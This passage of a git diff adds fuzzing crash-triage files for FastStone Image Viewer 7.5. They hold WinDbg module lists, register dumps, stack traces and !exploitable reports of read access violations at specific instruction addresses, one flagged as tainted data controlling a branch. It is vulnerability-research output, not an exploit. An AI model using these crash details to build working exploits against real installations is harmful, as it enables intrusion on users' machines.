C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x6A0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +ModLoad: 00000000`73730000 00000000`737e9000 C:\Windows\SysWOW64\textinputframework.dll +ModLoad: 00000000`73410000 00000000`734ab000 C:\Windows\SysWOW64\CoreMessaging.dll +ModLoad: 00000000`734b0000 00000000`7372e000 C:\Windows\SysWOW64\CoreUIComponents.dll +ModLoad: 00000000`75430000 00000000`75493000 C:\Windows\SysWOW64\WS2_32.dll +ModLoad: 00000000`733e0000 00000000`73409000 C:\Windows\SysWOW64\ntmarta.dll +ModLoad: 00000000`73300000 00000000`733de000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`13d90000 00000000`13e6e000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`13e70000 00000000`13f4e000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`73190000 00000000`732f6000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.264_none_4298d4188a939fa9\gdiplus.dll +(6a0.17b0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=15090002 ebx=00000e0b ecx=07f48180 edx=000005df esi=128318d0 edi=0da8afd4 +eip=005bdfc9 esp=1508f81c ebp=1508fcc4 iopl=0 nv up ei pl nz na po nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:15090002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=0020: top=0 cc=0000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0= 0.000000000000000000000e+0000 st1= 0.000000000000000000000e+0000 +st2= 0.000000000000000000000e+0000 st3= 0.000000000000000000000e+0000 +st4= 8.488767499434134800000e+0017 st5= 8.488769217421053440000e+0017 +st6= 8.488770935407972080000e+0017 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:15090002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0 0 0 0 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:15090002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +1508fcc4 0060d6fc 00000000 1508fd2c 1508fcfc image00000000_00400000+0x1bdfc9 +1508fd3c 005ff50b 1508fd50 005ff787 1508fdc0 image00000000_00400000+0x20d6fc +1508fdc0 005ff1de 1508fde8 005ff1f9 1508fde0 image00000000_00400000+0x1ff50b +1508fde0 0090e1e5 1508fdf4 0090e1ef 1508fe38 image00000000_00400000+0x1ff1de +1508fe38 0090efea 1508fea4 1508fea8 1508feac image00000000_00400000+0x50e1e5 +1508fec0 008d05d5 1508fed4 008d06ab 1508ff00 image00000000_00400000+0x50efea +1508ff00 008d0991 1508ff14 008d0a43 1508ff2c image00000000_00400000+0x4d05d5 +1508ff2c 0042c0bf 1508ff40 0042c0c9 1508ff5c image00000000_00400000+0x4d0991 +1508ff5c 00404c22 1508ffcc 0040475c 1508ff70 image00000000_00400000+0x2c0bf +1508ff70 7572f989 0804bec0 7572f970 1508ffdc image00000000_00400000+0x4c22 +1508ff80 770b7084 0804bec0 c90434ed 00000000 KERNEL32!BaseThreadInitThunk+0x19 +1508ffdc 770b7054 ffffffff 770d629f 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +1508ffec 00000000 00404bf8 0804bec0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x15090002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x7e49371f +STACK_DEPTH:13 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x50e1e5 +STACK_FRAME:image00000000_00400000+0x50efea +STACK_FRAME:image00000000_00400000+0x4d05d5 +STACK_FRAME:image00000000_00400000+0x4d0991 +STACK_FRAME:image00000000_00400000+0x2c0bf +STACK_FRAME:image00000000_00400000+0x4c22 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x7e49371f) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/49386/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/49386/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f04e404 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/49386/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/11958/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/11958/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9eb6efe --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/11958/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x000000001101ffff \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/11958/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/11958/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..389511f Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/11958/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/11958/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/11958/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..5992e50 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/11958/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,154 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xEE0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xEE0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73da0000 00000000`73f04000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73bc0000 00000000`73da0000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(ee0.1538): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=1101ffff ebx=00481c9c ecx=4e1c08c6 edx=000005f0 esi=00481c9c edi=093d2fd4 +eip=005bdf49 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac po cy +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210213 +image00000000_00400000+0x1bdf49: +005bdf49 8b00 mov eax,dword ptr [eax] ds:002b:1101ffff=???????? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.760750300146320480000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.652966000000000000000e+0006 +image00000000_00400000+0x1bdf49: +005bdf49 8b00 mov eax,dword ptr [eax] ds:002b:1101ffff=???????? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-6709.43 1.59816e-017 -0.00521827 1.24719e-014 +image00000000_00400000+0x1bdf49: +005bdf49 8b00 mov eax,dword ptr [eax] ds:002b:1101ffff=???????? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 1101ffff 0000f011 1111f100 1001ff0f image00000000_00400000+0x1bdf49 +0019f950 00000000 1111f100 1001ff0f 1101ffff 0x1101ffff + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1101ffff +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdf49 mov eax,dword ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:3 +BASIC_BLOCK_INSTRUCTION:005bdf49 mov eax,dword ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdf4b cmp dword ptr [eax+558h],0 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdf52 je image00000000_00400000+0x1bdf7e (005bdf7e) +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:ZeroFlag +MAJOR_HASH:0x7e5b5c0d +MINOR_HASH:0x7e2c470d +STACK_DEPTH:2 +STACK_FRAME:image00000000_00400000+0x1bdf49 +STACK_FRAME:Unknown +INSTRUCTION_ADDRESS:0x00000000005bdf49 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Data from Faulting Address controls Branch Selection +SHORT_DESCRIPTION:TaintedDataControlsBranchSelection +CLASSIFICATION:UNKNOWN +BUG_TITLE:Data from Faulting Address controls Branch Selection starting at image00000000_00400000+0x00000000001bdf49 (Hash=0x7e5b5c0d.0x7e2c470d) +EXPLANATION:The data from the faulting address is later used to determine whether or not a branch is taken. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/11958/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/11958/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..5992e50 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/11958/WindowsDebugEngine_description.txt @@ -0,0 +1,154 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xEE0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xEE0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 